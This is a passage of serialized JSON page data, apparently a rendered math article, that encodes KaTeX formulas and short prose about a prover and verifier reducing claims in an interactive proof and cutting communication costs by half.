9806},[3746],[109808,109828],{"type":26,"tag":475,"props":109809,"children":109811},{"className":109810,"style":93196},[3751],[109812],{"type":26,"tag":475,"props":109813,"children":109814},{"style":93200},[109815,109819],{"type":26,"tag":475,"props":109816,"children":109818},{"className":109817,"style":3761},[3760],[],{"type":26,"tag":475,"props":109820,"children":109822},{"className":109821},[3766,3767,3768,3769],[109823],{"type":26,"tag":475,"props":109824,"children":109826},{"className":109825},[3719,21296,3769],[109827],{"type":32,"value":3445},{"type":26,"tag":475,"props":109829,"children":109831},{"className":109830},[21453],[109832],{"type":32,"value":21456},{"type":26,"tag":475,"props":109834,"children":109836},{"className":109835},[3746],[109837],{"type":26,"tag":475,"props":109838,"children":109840},{"className":109839,"style":92750},[3751],[109841],{"type":26,"tag":475,"props":109842,"children":109843},{},[],{"type":26,"tag":475,"props":109845,"children":109847},{"className":109846},[21425],[109848],{"type":32,"value":626},{"type":26,"tag":475,"props":109850,"children":109852},{"className":109851},[3719],[109853],{"type":32,"value":3722},{"type":26,"tag":475,"props":109855,"children":109857},{"className":109856},[21447],[109858],{"type":32,"value":2835},{"type":26,"tag":475,"props":109860,"children":109862},{"className":109861,"style":3898},[3800],[],{"type":26,"tag":475,"props":109864,"children":109866},{"className":109865},[3903],[109867],{"type":32,"value":786},{"type":26,"tag":475,"props":109869,"children":109871},{"className":109870,"style":3898},[3800],[],{"type":26,"tag":475,"props":109873,"children":109875},{"className":109874},[3708],[109876,109881],{"type":26,"tag":475,"props":109877,"children":109880},{"className":109878,"style":109879},[3713],"height:0.8917em;vertical-align:-0.2083em;",[],{"type":26,"tag":475,"props":109882,"children":109884},{"className":109883},[3719],[109885,109890],{"type":26,"tag":475,"props":109886,"children":109888},{"className":109887,"style":92901},[3719,21296],[109889],{"type":32,"value":92904},{"type":26,"tag":475,"props":109891,"children":109893},{"className":109892},[3736],[109894],{"type":26,"tag":475,"props":109895,"children":109897},{"className":109896},[3741,21350],[109898,109942],{"type":26,"tag":475,"props":109899,"children":109901},{"className":109900},[3746],[109902,109937],{"type":26,"tag":475,"props":109903,"children":109905},{"className":109904,"style":93196},[3751],[109906],{"type":26,"tag":475,"props":109907,"children":109909},{"style":109908},"top:-2.55em;margin-left:-0.0813em;margin-right:0.05em;",[109910,109914],{"type":26,"tag":475,"props":109911,"children":109913},{"className":109912,"style":3761},[3760],[],{"type":26,"tag":475,"props":109915,"children":109917},{"className":109916},[3766,3767,3768,3769],[109918],{"type":26,"tag":475,"props":109919,"children":109921},{"className":109920},[3719,3769],[109922,109927,109932],{"type":26,"tag":475,"props":109923,"children":109925},{"className":109924},[3719,21296,3769],[109926],{"type":32,"value":3445},{"type":26,"tag":475,"props":109928,"children":109930},{"className":109929},[3806,3769],[109931],{"type":32,"value":3780},{"type":26,"tag":475,"props":109933,"children":109935},{"className":109934},[3719,3769],[109936],{"type":32,"value":3722},{"type":26,"tag":475,"props":109938,"children":109940},{"className":109939},[21453],[109941],{"type":32,"value":21456},{"type":26,"tag":475,"props":109943,"children":109945},{"className":109944},[3746],[109946],{"type":26,"tag":475,"props":109947,"children":109950},{"className":109948,"style":109949},[3751],"height:0.2083em;",[109951],{"type":26,"tag":475,"props":109952,"children":109953},{},[],{"type":32,"value":109955}," (the previous claim), we have:",{"type":26,"tag":35,"props":109957,"children":109958},{},[109959],{"type":26,"tag":53,"props":109960,"children":109962},{"className":109961},[3691,3692],[109963],{"type":26,"tag":475,"props":109964,"children":109966},{"className":109965},[3697],[109967],{"type":26,"tag":475,"props":109968,"children":109970},{"className":109969,"ariaHidden":3703},[3702],[109971,109997,110028,110059,110160,110186,110278],{"type":26,"tag":475,"props":109972,"children":109974},{"className":109973},[3708],[109975,109979,109984,109988,109993],{"type":26,"tag":475,"props":109976,"children":109978},{"className":109977,"style":109634},[3713],[],{"type":26,"tag":475,"props":109980,"children":109982},{"className":109981},[3719,21296],[109983],{"type":32,"value":116},{"type":26,"tag":475,"props":109985,"children":109987},{"className":109986,"style":3801},[3800],[],{"type":26,"tag":475,"props":109989,"children":109991},{"className":109990},[3806],[109992],{"type":32,"value":1106},{"type":26,"tag":475,"props":109994,"children":109996},{"className":109995,"style":3801},[3800],[],{"type":26,"tag":475,"props":109998,"children":110000},{"className":109999},[3708],[110001,110005,110010,110015,110019,110024],{"type":26,"tag":475,"props":110002,"children":110004},{"className":110003,"style":3821},[3713],[],{"type":26,"tag":475,"props":110006,"children":110008},{"className":110007},[21425],[110009],{"type":32,"value":626},{"type":26,"tag":475,"props":110011,"children":110013},{"className":110012},[3719,21296],[110014],{"type":32,"value":116},{"type":26,"tag":475,"props":110016,"children":110018},{"className":110017,"style":3801},[3800],[],{"type":26,"tag":475,"props":110020,"children":110022},{"className":110021},[3806],[110023],{"type":32,"value":1106},{"type":26,"tag":475,"props":110025,"children":110027},{"className":110026,"style":3801},[3800],[],{"type":26,"tag":475,"props":110029,"children":110031},{"className":110030},[3708],[110032,110036,110041,110046,110050,110055],{"type":26,"tag":475,"props":110033,"children":110035},{"className":110034,"style":3821},[3713],[],{"type":26,"tag":475,"props":110037,"children":110039},{"className":110038},[3719,21296],[110040],{"type":32,"value":2930},{"type":26,"tag":475,"props":110042,"children":110044},{"className":110043},[21447],[110045],{"type":32,"value":2835},{"type":26,"tag":475,"props":110047,"children":110049},{"className":110048,"style":3898},[3800],[],{"type":26,"tag":475,"props":110051,"children":110053},{"className":110052},[3903],[110054],{"type":32,"value":786},{"type":26,"tag":475,"props":110056,"children":110058},{"className":110057,"style":3898},[3800],[],{"type":26,"tag":475,"props":110060,"children":110062},{"className":110061},[3708],[110063,110067,110138,110142,110146,110152,110156],{"type":26,"tag":475,"props":110064,"children":110066},{"className":110065,"style":109879},[3713],[],{"type":26,"tag":475,"props":110068,"children":110070},{"className":110069},[3719],[110071,110076],{"type":26,"tag":475,"props":110072,"children":110074},{"className":110073,"style":92901},[3719,21296],[110075],{"type":32,"value":92904},{"type":26,"tag":475,"props":110077,"children":110079},{"className":110078},[3736],[110080],{"type":26,"tag":475,"props":110081,"children":110083},{"className":110082},[3741,21350],[110084,110127],{"type":26,"tag":475,"props":110085,"children":110087},{"className":110086},[3746],[110088,110122],{"type":26,"tag":475,"props":110089,"children":110091},{"className":110090,"style":93196},[3751],[110092],{"type":26,"tag":475,"props":110093,"children":110094},{"style":109908},[110095,110099],{"type":26,"tag":475,"props":110096,"children":110098},{"className":110097,"style":3761},[3760],[],{"type":26,"tag":475,"props":110100,"children":110102},{"className":110101},[3766,3767,3768,3769],[110103],{"type":26,"tag":475,"props":110104,"children":110106},{"className":110105},[3719,3769],[110107,110112,110117],{"type":26,"tag":475,"props":110108,"children":110110},{"className":110109},[3719,21296,3769],[110111],{"type":32,"value":3445},{"type":26,"tag":475,"props":110113,"children":110115},{"className":110114},[3806,3769],[110116],{"type":32,"value":3780},{"type":26,"tag":475,"props":110118,"children":110120},{"className":110119},[3719,3769],[110121],{"type":32,"value":3722},{"type":26,"tag":475,"props":110123,"children":110125},{"className":110124},[21453],[110126],{"type":32,"value":21456},{"type":26,"tag":475,"props":110128,"children":110130},{"className":110129},[3746],[110131],{"type":26,"tag":475,"props":110132,"children":110134},{"className":110133,"style":109949},[3751],[110135],{"type":26,"tag":475,"props":110136,"children":110137},{},[],{"type":26,"tag":475,"props":110139,"children":110141},{"className":110140,"style":3898},[3800],[],{"type":26,"tag":475,"props":110143,"children":110145},{"className":110144,"style":3898},[3800],[],{"type":26,"tag":475,"props":110147,"children":110149},{"className":110148},[3903],[110150],{"type":32,"value":110151},"⟹",{"type":26,"tag":475,"props":110153,"children":110155},{"className":110154,"style":3898},[3800],[],{"type":26,"tag":475,"props":110157,"children":110159},{"className":110158,"style":3898},[3800],[],{"type":26,"tag":475,"props":110161,"children":110163},{"className":110162},[3708],[110164,110168,110173,110177,110182],{"type":26,"tag":475,"props":110165,"children":110167},{"className":110166,"style":92582},[3713],[],{"type":26,"tag":475,"props":110169,"children":110171},{"className":110170},[3719,21296],[110172],{"type":32,"value":2930},{"type":26,"tag":475,"props":110174,"children":110176},{"className":110175,"style":3898},[3800],[],{"type":26,"tag":475,"props":110178,"children":110180},{"className":110179},[3903],[110181],{"type":32,"value":786},{"type":26,"tag":475,"props":110183,"children":110185},{"className":110184,"style":3898},[3800],[],{"type":26,"tag":475,"props":110187,"children":110189},{"className":110188},[3708],[110190,110194,110265,110269,110274],{"type":26,"tag":475,"props":110191,"children":110193},{"className":110192,"style":109879},[3713],[],{"type":26,"tag":475,"props":110195,"children":110197},{"className":110196},[3719],[110198,110203],{"type":26,"tag":475,"props":110199,"children":110201},{"className":110200,"style":92901},[3719,21296],[110202],{"type":32,"value":92904},{"type":26,"tag":475,"props":110204,"children":110206},{"className":110205},[3736],[110207],{"type":26,"tag":475,"props":110208,"children":110210},{"className":110209},[3741,21350],[110211,110254],{"type":26,"tag":475,"props":110212,"children":110214},{"className":110213},[3746],[110215,110249],{"type":26,"tag":475,"props":110216,"children":110218},{"className":110217,"style":93196},[3751],[110219],{"type":26,"tag":475,"props":110220,"children":110221},{"style":109908},[110222,110226],{"type":26,"tag":475,"props":110223,"children":110225},{"className":110224,"style":3761},[3760],[],{"type":26,"tag":475,"props":110227,"children":110229},{"className":110228},[3766,3767,3768,3769],[110230],{"type":26,"tag":475,"props":110231,"children":110233},{"className":110232},[3719,3769],[110234,110239,110244],{"type":26,"tag":475,"props":110235,"children":110237},{"className":110236},[3719,21296,3769],[110238],{"type":32,"value":3445},{"type":26,"tag":475,"props":110240,"children":110242},{"className":110241},[3806,3769],[110243],{"type":32,"value":3780},{"type":26,"tag":475,"props":110245,"children":110247},{"className":110246},[3719,3769],[110248],{"type":32,"value":3722},{"type":26,"tag":475,"props":110250,"children":110252},{"className":110251},[21453],[110253],{"type":32,"value":21456},{"type":26,"tag":475,"props":110255,"children":110257},{"className":110256},[3746],[110258],{"type":26,"tag":475,"props":110259,"children":110261},{"className":110260,"style":109949},[3751],[110262],{"type":26,"tag":475,"props":110263,"children":110264},{},[],{"type":26,"tag":475,"props":110266,"children":110268},{"className":110267,"style":3801},[3800],[],{"type":26,"tag":475,"props":110270,"children":110272},{"className":110271},[3806],[110273],{"type":32,"value":3780},{"type":26,"tag":475,"props":110275,"children":110277},{"className":110276,"style":3801},[3800],[],{"type":26,"tag":475,"props":110279,"children":110281},{"className":110280},[3708],[110282,110286,110291],{"type":26,"tag":475,"props":110283,"children":110285},{"className":110284,"style":93698},[3713],[],{"type":26,"tag":475,"props":110287,"children":110289},{"className":110288},[3719],[110290],{"type":32,"value":2830},{"type":26,"tag":475,"props":110292,"children":110294},{"className":110293},[3719,21296],[110295],{"type":32,"value":116},{"type":26,"tag":35,"props":110297,"children":110298},{},[110299,110301,110420,110422,110447],{"type":32,"value":110300},"So the prover only sends ",{"type":26,"tag":53,"props":110302,"children":110304},{"className":110303},[3691,3692],[110305],{"type":26,"tag":475,"props":110306,"children":110308},{"className":110307},[3697],[110309],{"type":26,"tag":475,"props":110310,"children":110312},{"className":110311,"ariaHidden":3703},[3702],[110313,110340],{"type":26,"tag":475,"props":110314,"children":110316},{"className":110315},[3708],[110317,110322,110327,110331,110336],{"type":26,"tag":475,"props":110318,"children":110321},{"className":110319,"style":110320},[3713],"height:0.4306em;",[],{"type":26,"tag":475,"props":110323,"children":110325},{"className":110324},[3719,21296],[110326],{"type":32,"value":116},{"type":26,"tag":475,"props":110328,"children":110330},{"className":110329,"style":3898},[3800],[],{"type":26,"tag":475,"props":110332,"children":110334},{"className":110333},[3903],[110335],{"type":32,"value":786},{"type":26,"tag":475,"props":110337,"children":110339},{"className":110338,"style":3898},[3800],[],{"type":26,"tag":475,"props":110341,"children":110343},{"className":110342},[3708],[110344,110348,110405,110410,110415],{"type":26,"tag":475,"props":110345,"children":110347},{"className":110346,"style":3821},[3713],[],{"type":26,"tag":475,"props":110349,"children":110351},{"className":110350},[3719],[110352,110357],{"type":26,"tag":475,"props":110353,"children":110355},{"className":110354,"style":93153},[3719,21296],[110356],{"type":32,"value":108730},{"type":26,"tag":475,"props":110358,"children":110360},{"className":110359},[3736],[110361],{"type":26,"tag":475,"props":110362,"children":110364},{"className":110363},[3741,21350],[110365,110394],{"type":26,"tag":475,"props":110366,"children":110368},{"className":110367},[3746],[110369,110389],{"type":26,"tag":475,"props":110370,"children":110372},{"className":110371,"style":93196},[3751],[110373],{"type":26,"tag":475,"props":110374,"children":110375},{"style":93200},[110376,110380],{"type":26,"tag":475,"props":110377,"children":110379},{"className":110378,"style":3761},[3760],[],{"type":26,"tag":475,"props":110381,"children":110383},{"className":110382},[3766,3767,3768,3769],[110384],{"type":26,"tag":475,"props":110385,"children":110387},{"className":110386},[3719,21296,3769],[110388],{"type":32,"value":3445},{"type":26,"tag":475,"props":110390,"children":110392},{"className":110391},[21453],[110393],{"type":32,"value":21456},{"type":26,"tag":475,"props":110395,"children":110397},{"className":110396},[3746],[110398],{"type":26,"tag":475,"props":110399,"children":110401},{"className":110400,"style":92750},[3751],[110402],{"type":26,"tag":475,"props":110403,"children":110404},{},[],{"type":26,"tag":475,"props":110406,"children":110408},{"className":110407},[21425],[110409],{"type":32,"value":626},{"type":26,"tag":475,"props":110411,"children":110413},{"className":110412},[3719],[110414],{"type":32,"value":3732},{"type":26,"tag":475,"props":110416,"children":110418},{"className":110417},[21447],[110419],{"type":32,"value":2835},{"type":32,"value":110421},", and the verifier recovers ",{"type":26,"tag":53,"props":110423,"children":110425},{"className":110424},[3691,3692],[110426],{"type":26,"tag":475,"props":110427,"children":110429},{"className":110428},[3697],[110430],{"type":26,"tag":475,"props":110431,"children":110433},{"className":110432,"ariaHidden":3703},[3702],[110434],{"type":26,"tag":475,"props":110435,"children":110437},{"className":110436},[3708],[110438,110442],{"type":26,"tag":475,"props":110439,"children":110441},{"className":110440,"style":92582},[3713],[],{"type":26,"tag":475,"props":110443,"children":110445},{"className":110444},[3719,21296],[110446],{"type":32,"value":2930},{"type":32,"value":110448},". This saves 50% on communication costs.",{"type":26,"tag":35,"props":110450,"children":110451},{},[110452],{"type":32,"value":110453},"The next claim in the chain is",{"type":26,"tag":35,"props":110455,"children":110456},{},[110457],{"type":26,"tag":53,"props":110458,"children":110460},{"className":110459},[3691,3692],[110461],{"type":26,"tag":475,"props":110462,"children":110464},{"className":110463},[3697],[110465],{"type":26,"tag":475,"props":110466,"children":110468},{"className":110467,"ariaHidden":3703},[3702],[110469,110548,110693,110719,110746,110824,110850,110947,110983,111061,111097,111185,111277],{"type":26,"tag":475,"props":110470,"children":110472},{"className":110471},[3708],[110473,110478,110535,110539,110544],{"type":26,"tag":475,"props":110474,"children":110477},{"className":110475,"style":110476},[3713],"height:0.8333em;vertical-align:-0.15em;",[],{"type":26,"tag":475,"props":110479,"children":110481},{"className":110480},[3719],[110482,110487],{"type":26,"tag":475,"props":110483,"children":110485},{"className":110484,"style":92901},[3719,21296],[110486],{"type":32,"value":92904},{"type":26,"tag":475,"props":110488,"children":110490},{"className":110489},[3736],[110491],{"type":26,"tag":475,"props":110492,"children":110494},{"className":110493},[3741,21350],[110495,110524],{"type":26,"tag":475,"props":110496,"children":110498},{"className":110497},[3746],[110499,110519],{"type":26,"tag":475,"props":110500,"children":110502},{"className":110501,"style":93196},[3751],[110503],{"type":26,"tag":475,"props":110504,"children":110505},{"style":109908},[110506,110510],{"type":26,"tag":475,"props":110507,"children":110509},{"className":110508,"style":3761},[3760],[],{"type":26,"tag":475,"props":110511,"children":110513},{"className":110512},[3766,3767,3768,3769],[110514],{"type":26,"tag":475,"props":110515,"children":110517},{"className":110516},[3719,21296,3769],[110518],{"type":32,"value":3445},{"type":26,"tag":475,"props":110520,"children":110522},{"className":110521},[21453],[110523],{"type":32,"value":21456},{"type":26,"tag":475,"props":110525,"children":110527},{"className":110526},[3746],[110528],{"type":26,"tag":475,"props":110529,"children":110531},{"className":110530,"style":92750},[3751],[110532],{"type":26,"tag":475,"props":110533,"children":110534},{},[],{"type":26,"tag":475,"props":110536,"children":110538},{"className":110537,"style":3898},[3800],[],{"type":26,"tag":475,"props":110540,"children":110542},{"className":110541},[3903],[110543],{"type":32,"value":786},{"type":26,"tag":475,"props":110545,"children":110547},{"className":110546,"style":3898},[3800],[],{"type":26,"tag":475,"props":110549,"children":110551},{"className":110550},[3708],[110552,110556,110613,110618,110675,110680,110684,110689],{"type":26,"tag":475,"props":110553,"children":110555},{"className":110554,"style":3821},[3713],[],{"type":26,"tag":475,"props":110557,"children":110559},{"className":110558},[3719],[110560,110565],{"type":26,"tag":475,"props":110561,"children":110563},{"className":110562,"style":93153},[3719,21296],[110564],{"type":32,"value":108730},{"type":26,"tag":475,"props":110566,"children":110568},{"className":110567},[3736],[110569],{"type":26,"tag":475,"props":110570,"children":110572},{"className":110571},[3741,21350],[110573,110602],{"type":26,"tag":475,"props":110574,"children":110576},{"className":110575},[3746],[110577,110597],{"type":26,"tag":475,"props":110578,"children":110580},{"className":110579,"style":93196},[3751],[110581],{"type":26,"tag":475,"props":110582,"children":110583},{"style":93200},[110584,110588],{"type":26,"tag":475,"props":110585,"children":110587},{"className":110586,"style":3761},[3760],[],{"type":26,"tag":475,"props":110589,"children":110591},{"className":110590},[3766,3767,3768,3769],[110592],{"type":26,"tag":475,"props":110593,"children":110595},{"className":110594},[3719,21296,3769],[110596],{"type":32,"value":3445},{"type":26,"tag":475,"props":110598,"children":110600},{"className":110599},[21453],[110601],{"type":32,"value":21456},{"type":26,"tag":475,"props":110603,"children":110605},{"className":110604},[3746],[110606],{"type":26,"tag":475,"props":110607,"children":110609},{"className":110608,"style":92750},[3751],[110610],{"type":26,"tag":475,"props":110611,"children":110612},{},[],{"type":26,"tag":475,"props":110614,"children":110616},{"className":110615},[21425],[110617],{"type":32,"value":626},{"type":26,"tag":475,"props":110619,"children":110621},{"className":110620},[3719],[110622,110627],{"type":26,"tag":475,"props":110623,"children":110625},{"className":110624,"style":92667},[3719,21296],[110626],{"type":32,"value":93486},{"type":26,"tag":475,"props":110628,"children":110630},{"className":110629},[3736],[110631],{"type":26,"tag":475,"props":110632,"children":110634},{"className":110633},[3741,21350],[110635,110664],{"type":26,"tag":475,"props":110636,"children":110638},{"className":110637},[3746],[110639,110659],{"type":26,"tag":475,"props":110640,"children":110642},{"className":110641,"style":93196},[3751],[110643],{"type":26,"tag":475,"props":110644,"children":110645},{"style":109478},[110646,110650],{"type":26,"tag":475,"props":110647,"children":110649},{"className":110648,"style":3761},[3760],[],{"type":26,"tag":475,"props":110651,"children":110653},{"className":110652},[3766,3767,3768,3769],[110654],{"type":26,"tag":475,"props":110655,"children":110657},{"className":110656},[3719,21296,3769],[110658],{"type":32,"value":3445},{"type":26,"tag":475,"props":110660,"children":110662},{"className":110661},[21453],[110663],{"type":32,"value":21456},{"type":26,"tag":475,"props":110665,"children":110667},{"className":110666},[3746],[110668],{"type":26,"tag":475,"props":110669,"children":110671},{"className":110670,"style":92750},[3751],[110672],{"type":26,"tag":475,"props":110673,"children":110674},{},[],{"type":26,"tag":475,"props":110676,"children":110678},{"className":110677},[21447],[110679],{"type":32,"value":2835},{"type":26,"tag":475,"props":110681,"children":110683},{"className":110682,"style":3898},[3800],[],{"type":26,"tag":475,"props":110685,"children":110687},{"className":110686},[3903],[110688],{"type":32,"value":786},{"type":26,"tag":475,"props":110690,"children":110692},{"className":110691,"style":3898},[3800],[],{"type":26,"tag":475,"props":110694,"children":110696},{"className":110695},[3708],[110697,110701,110706,110710,110715],{"type":26,"tag":475,"props":110698,"children":110700},{"className":110699,"style":109634},[3713],[],{"type":26,"tag":475,"props":110702,"children":110704},{"className":110703},[3719,21296],[110705],{"type":32,"value":116},{"type":26,"tag":475,"props":110707,"children":110709},{"className":110708,"style":3801},[3800],[],{"type":26,"tag":475,"props":110711,"children":110713},{"className":110712},[3806],[110714],{"type":32,"value":1106},{"type":26,"tag":475,"props":110716,"children":110718},{"className":110717,"style":3801},[3800],[],{"type":26,"tag":475,"props":110720,"children":110722},{"className":110721},[3708],[110723,110727,110732,110736,110742],{"type":26,"tag":475,"props":110724,"children":110726},{"className":110725,"style":92582},[3713],[],{"type":26,"tag":475,"props":110728,"children":110730},{"className":110729},[3719,21296],[110731],{"type":32,"value":2930},{"type":26,"tag":475,"props":110733,"children":110735},{"className":110734,"style":3801},[3800],[],{"type":26,"tag":475,"props":110737,"children":110739},{"className":110738},[3806],[110740],{"type":32,"value":110741},"⋅",{"type":26,"tag":475,"props":110743,"children":110745},{"className":110744,"style":3801},[3800],[],{"type":26,"tag":475,"props":110747,"children":110749},{"className":110748},[3708],[110750,110754,110811,110815,110820],{"type":26,"tag":475,"props":110751,"children":110753},{"className":110752,"style":109449},[3713],[],{"type":26,"tag":475,"props":110755,"children":110757},{"className":110756},[3719],[110758,110763],{"type":26,"tag":475,"props":110759,"children":110761},{"className":110760,"style":92667},[3719,21296],[110762],{"type":32,"value":93486},{"type":26,"tag":475,"props":110764,"children":110766},{"className":110765},[3736],[110767],{"type":26,"tag":475,"props":110768,"children":110770},{"className":110769},[3741,21350],[110771,110800],{"type":26,"tag":475,"props":110772,"children":110774},{"className":110773},[3746],[110775,110795],{"type":26,"tag":475,"props":110776,"children":110778},{"className":110777,"style":93196},[3751],[110779],{"type":26,"tag":475,"props":110780,"children":110781},{"style":109478},[110782,110786],{"type":26,"tag":475,"props":110783,"children":110785},{"className":110784,"style":3761},[3760],[],{"type":26,"tag":475,"props":110787,"children":110789},{"className":110788},[3766,3767,3768,3769],[110790],{"type":26,"tag":475,"props":110791,"children":110793},{"className":110792},[3719,21296,3769],[110794],{"type":32,"value":3445},{"type":26,"tag":475,"props":110796,"children":110798},{"className":110797},[21453],[110799],{"type":32,"value":21456},{"type":26,"tag":475,"props":110801,"children":110803},{"className":110802},[3746],[110804],{"type":26,"tag":475,"props":110805,"children":110807},{"className":110806,"style":92750},[3751],[110808],{"type":26,"tag":475,"props":110809,"children":110810},{},[],{"type":26,"tag":475,"props":110812,"children":110814},{"className":110813,"style":3898},[3800],[],{"type":26,"tag":475,"props":110816,"children":110818},{"className":110817},[3903],[110819],{"type":32,"value":786},{"type":26,"tag":475,"props":110821,"children":110823},{"className":110822,"style":3898},[3800],[],{"type":26,"tag":475,"props":110825,"children":110827},{"className":110826},[3708],[110828,110832,110837,110841,110846],{"type":26,"tag":475,"props":110829,"children":110831},{"className":110830,"style":109634},[3713],[],{"type":26,"tag":475,"props":110833,"children":110835},{"className":110834},[3719,21296],[110836],{"type":32,"value":116},{"type":26,"tag":475,"props":110838,"children":110840},{"className":110839,"style":3801},[3800],[],{"type":26,"tag":475,"props":110842,"children":110844},{"className":110843},[3806],[110845],{"type":32,"value":1106},{"type":26,"tag":475,"props":110847,"children":110849},{"className":110848,"style":3801},[3800],[],{"type":26,"tag":475,"props":110851,"children":110853},{"className":110852},[3708],[110854,110858,110863,110934,110938,110943],{"type":26,"tag":475,"props":110855,"children":110857},{"className":110856,"style":3821},[3713],[],{"type":26,"tag":475,"props":110859,"children":110861},{"className":110860},[21425],[110862],{"type":32,"value":626},{"type":26,"tag":475,"props":110864,"children":110866},{"className":110865},[3719],[110867,110872],{"type":26,"tag":475,"props":110868,"children":110870},{"className":110869,"style":92901},[3719,21296],[110871],{"type":32,"value":92904},{"type":26,"tag":475,"props":110873,"children":110875},{"className":110874},[3736],[110876],{"type":26,"tag":475,"props":110877,"children":110879},{"className":110878},[3741,21350],[110880,110923],{"type":26,"tag":475,"props":110881,"children":110883},{"className":110882},[3746],[110884,110918],{"type":26,"tag":475,"props":110885,"children":110887},{"className":110886,"style":93196},[3751],[110888],{"type":26,"tag":475,"props":110889,"children":110890},{"style":109908},[110891,110895],{"type":26,"tag":475,"props":110892,"children":110894},{"className":110893,"style":3761},[3760],[],{"type":26,"tag":475,"props":110896,"children":110898},{"className":110897},[3766,3767,3768,3769],[110899],{"type":26,"tag":475,"props":110900,"children":110902},{"className":110901},[3719,3769],[110903,110908,110913],{"type":26,"tag":475,"props":110904,"children":110906},{"className":110905},[3719,21296,3769],[110907],{"type":32,"value":3445},{"type":26,"tag":475,"props":110909,"children":110911},{"className":110910},[3806,3769],[110912],{"type":32,"value":3780},{"type":26,"tag":475,"props":110914,"children":110916},{"className":110915},[3719,3769],[110917],{"type":32,"value":3722},{"type":26,"tag":475,"props":110919,"children":110921},{"className":110920},[21453],[110922],{"type":32,"value":21456},{"type":26,"tag":475,"props":110924,"children":110926},{"className":110925},[3746],[110927],{"type":26,"tag":475,"props":110928,"children":110930},{"className":110929,"style":109949},[3751],[110931],{"type":26,"tag":475,"props":110932,"children":110933},{},[],{"type":26,"tag":475,"props":110935,"children":110937},{"className":110936,"style":3801},[3800],[],{"type":26,"tag":475,"props":110939,"children":110941},{"className":110940},[3806],[110942],{"type":32,"value":3780},{"type":26,"tag":475,"props":110944,"children":110946},{"className":110945,"style":3801},[3800],[],{"type":26,"tag":475,"props":110948,"children":110950},{"className":110949},[3708],[110951,110955,110960,110965,110970,110974,110979],{"type":26,"tag":475,"props":110952,"children":110954},{"className":110953,"style":3821},[3713],[],{"type":26,"tag":475,"props":110956,"children":110958},{"className":110957},[3719],[110959],{"type":32,"value":2830},{"type":26,"tag":475,"props":110961,"children":110963},{"className":110962},[3719,21296],[110964],{"type":32,"value":116},{"type":26,"tag":475,"props":110966,"children":110968},{"className":110967},[21447],[110969],{"type":32,"value":2835},{"type":26,"tag":475,"props":110971,"children":110973},{"className":110972,"style":3801},[3800],[],{"type":26,"tag":475,"props":110975,"children":110977},{"className":110976},[3806],[110978],{"type":32,"value":110741},{"type":26,"tag":475,"props":110980,"children":110982},{"className":110981,"style":3801},[3800],[],{"type":26,"tag":475,"props":110984,"children":110986},{"className":110985},[3708],[110987,110991,111048,111052,111057],{"type":26,"tag":475,"props":110988,"children":110990},{"className":110989,"style":109449},[3713],[],{"type":26,"tag":475,"props":110992,"children":110994},{"className":110993},[3719],[110995,111000],{"type":26,"tag":475,"props":110996,"children":110998},{"className":110997,"style":92667},[3719,21296],[110999],{"type":32,"value":93486},{"type":26,"tag":475,"props":111001,"children":111003},{"className":111002},[3736],[111004],{"type":26,"tag":475,"props":111005,"children":111007},{"className":111006},[3741,21350],[111008,111037],{"type":26,"tag":475,"props":111009,"children":111011},{"className":111010},[3746],[111012,111032],{"type":26,"tag":475,"props":111013,"children":111015},{"className":111014,"style":93196},[3751],[111016],{"type":26,"tag":475,"props":111017,"children":111018},{"style":109478},[111019,111023],{"type":26,"tag":475,"props":111020,"children":111022},{"className":111021,"style":3761},[3760],[],{"type":26,"tag":475,"props":111024,"children":111026},{"className":111025},[3766,3767,3768,3769],[111027],{"type":26,"tag":475,"props":111028,"children":111030},{"className":111029},[3719,21296,3769],[111031],{"type":32,"value":3445},{"type":26,"tag":475,"props":111033,"children":111035},{"className":111034},[21453],[111036],{"type":32,"value":21456},{"type":26,"tag":475,"props":111038,"children":111040},{"className":111039},[3746],[111041],{"type":26,"tag":475,"props":111042,"children":111044},{"className":111043,"style":92750},[3751],[111045],{"type":26,"tag":475,"props":111046,"children":111047},{},[],{"type":26,"tag":475,"props":111049,"children":111051},{"className":111050,"style":3898},[3800],[],{"type":26,"tag":475,"props":111053,"children":111055},{"className":111054},[3903],[111056],{"type":32,"value":786},{"type":26,"tag":475,"props":111058,"children":111060},{"className":111059,"style":3898},[3800],[],{"type":26,"tag":475,"props":111062,"children":111064},{"className":111063},[3708],[111065,111069,111074,111079,111084,111088,111093],{"type":26,"tag":475,"props":111066,"children":111068},{"className":111067,"style":3821},[3713],[],{"type":26,"tag":475,"props":111070,"children":111072},{"className":111071},[3719,21296],[111073],{"type":32,"value":116},{"type":26,"tag":475,"props":111075,"children":111077},{"className":111076},[21425],[111078],{"type":32,"value":626},{"type":26,"tag":475,"props":111080,"children":111082},{"className":111081},[3719],[111083],{"type":32,"value":3722},{"type":26,"tag":475,"props":111085,"children":111087},{"className":111086,"style":3801},[3800],[],{"type":26,"tag":475,"props":111089,"children":111091},{"className":111090},[3806],[111092],{"type":32,"value":3780},{"type":26,"tag":475,"props":111094,"children":111096},{"className":111095,"style":3801},[3800],[],{"type":26,"tag":475,"props":111098,"children":111100},{"className":111099},[3708],[111101,111105,111110,111167,111172,111176,111181],{"type":26,"tag":475,"props":111102,"children":111104},{"className":111103,"style":3821},[3713],[],{"type":26,"tag":475,"props":111106,"children":111108},{"className":111107},[3719],[111109],{"type":32,"value":2830},{"type":26,"tag":475,"props":111111,"children":111113},{"className":111112},[3719],[111114,111119],{"type":26,"tag":475,"props":111115,"children":111117},{"className":111116,"style":92667},[3719,21296],[111118],{"type":32,"value":93486},{"type":26,"tag":475,"props":111120,"children":111122},{"className":111121},[3736],[111123],{"type":26,"tag":475,"props":111124,"children":111126},{"className":111125},[3741,21350],[111127,111156],{"type":26,"tag":475,"props":111128,"children":111130},{"className":111129},[3746],[111131,111151],{"type":26,"tag":475,"props":111132,"children":111134},{"className":111133,"style":93196},[3751],[111135],{"type":26,"tag":475,"props":111136,"children":111137},{"style":109478},[111138,111142],{"type":26,"tag":475,"props":111139,"children":111141},{"className":111140,"style":3761},[3760],[],{"type":26,"tag":475,"props":111143,"children":111145},{"className":111144},[3766,3767,3768,3769],[111146],{"type":26,"tag":475,"props":111147,"children":111149},{"className":111148},[3719,21296,3769],[111150],{"type":32,"value":3445},{"type":26,"tag":475,"props":111152,"children":111154},{"className":111153},[21453],[111155],{"type":32,"value":21456},{"type":26,"tag":475,"props":111157,"children":111159},{"className":111158},[3746],[111160],{"type":26,"tag":475,"props":111161,"children":111163},{"className":111162,"style":92750},[3751],[111164],{"type":26,"tag":475,"props":111165,"children":111166},{},[],{"type":26,"tag":475,"props":111168,"children":111170},{"className":111169},[21447],[111171],{"type":32,"value":2835},{"type":26,